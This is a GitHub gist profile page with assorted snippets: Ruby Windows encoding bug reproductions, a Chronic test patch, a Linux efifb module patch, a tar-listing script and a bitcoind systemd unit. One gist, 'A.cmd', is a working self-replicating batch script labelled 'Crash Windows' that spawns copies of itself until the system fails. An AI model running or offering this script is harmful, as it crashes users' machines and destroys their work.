Skip to content

Instantly share code, notes, and snippets.

View davispuh's full-sized avatar

Dāvis davispuh

  • Latvia
View GitHub Profile
@davispuh
davispuh / Ruby1.9
Created August 27, 2013 08:47
Ruby 1.9, ENV incorrect encoding.
N:\Projects>SET test=testing åáâäãā
N:\Projects>SET åáâäãā=testing åáâäãā
N:\Projects>ruby -v
ruby 1.9.3p448 (2013-06-27) [i386-mingw32]
N:\Projects>chcp 775
Active code page: 775
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("SOFTWARE\doesnt_exist") do |reg|
end
rescue Win32::Registry::Error => e
message = e.message
puts message.encoding
N:\Projects>ruby -v
ruby 2.0.0p247 (2013-06-27) [x64-mingw32]
N:\Projects>chcp 775
Active code page: 775
N:\Projects>ruby test2.rb
IBM775
Sistńma nevar atrast norŌdŅto failu.
"Sist\xE7ma nevar atrast nor\xE2d\xEEto failu."
@davispuh
davispuh / test3.rb
Last active December 23, 2015 18:29
#!/usr/bin/env ruby
#encoding: utf-8
require 'win32/registry'
begin
Win32::Registry::HKEY_CURRENT_USER.open("Software", Win32::Registry::KEY_ALL_ACCESS) do |reg|
reg['test2'] = 'åáâäãā'
reg['test3åáâäãā'] = 'åáâäãā'
value = reg['test']
puts value.encoding
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software]
"test"="åáâäãā"
"åáâäãā"="åáâäãā"
@davispuh
davispuh / A.cmd
Last active December 27, 2015 22:39
Crash Windows. Tested to work for XP, Vista, Windows 7
@echo off
REM This script is dedicated to Public Domain
FOR %%i in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9) DO (
mkdir %%i
copy %~nx0 %%i
cd %%i
start %~nx0
cd ..
)
del %~nx0
@davispuh
davispuh / test_daylight_savings.patch
Created January 26, 2016 01:13
Chronic test_daylight_savings
diff --git a/test/test_daylight_savings.rb b/test/test_daylight_savings.rb
index d6f303f..3dfdc26 100644
--- a/test/test_daylight_savings.rb
+++ b/test/test_daylight_savings.rb
@@ -9,110 +9,91 @@ class TestDaylightSavings < TestCase
def test_begin_past
# ambiguous - resolve to last night
- t = Chronic::RepeaterTime.new('900')
- t.start = @begin_daylight_savings
@davispuh
davispuh / efifb.patch
Created March 22, 2016 19:59
Make efifb as a loadable module
diff --git a/drivers/video/fbdev/Kconfig b/drivers/video/fbdev/Kconfig
index 8ea45a5..de3c96e 100644
--- a/drivers/video/fbdev/Kconfig
+++ b/drivers/video/fbdev/Kconfig
@@ -760,7 +760,7 @@ config FB_VESA
read <file:Documentation/fb/vesafb.txt>. If unsure, say Y.
config FB_EFI
- bool "EFI-based Framebuffer Support"
+ tristate "EFI-based Framebuffer Support"
@davispuh
davispuh / files.rb
Created March 23, 2016 01:59
Show Tar archive files
#!/bin/ruby
require 'faraday'
url = 'http://domain/somefile.tar'
conn = Faraday.new
header_response = conn.head(url)
total_size = header_response.env[:response_headers]["content-length"].to_i
@davispuh
davispuh / bitcoind.service
Created January 6, 2014 14:34
Bitcoin-daemon service file for Systemd
[Unit]
Description=Bitcoin daemon serivce
After=network.target
[Service]
Type=simple
User=bitcoin
ExecStart=/usr/bin/bitcoind
[Install]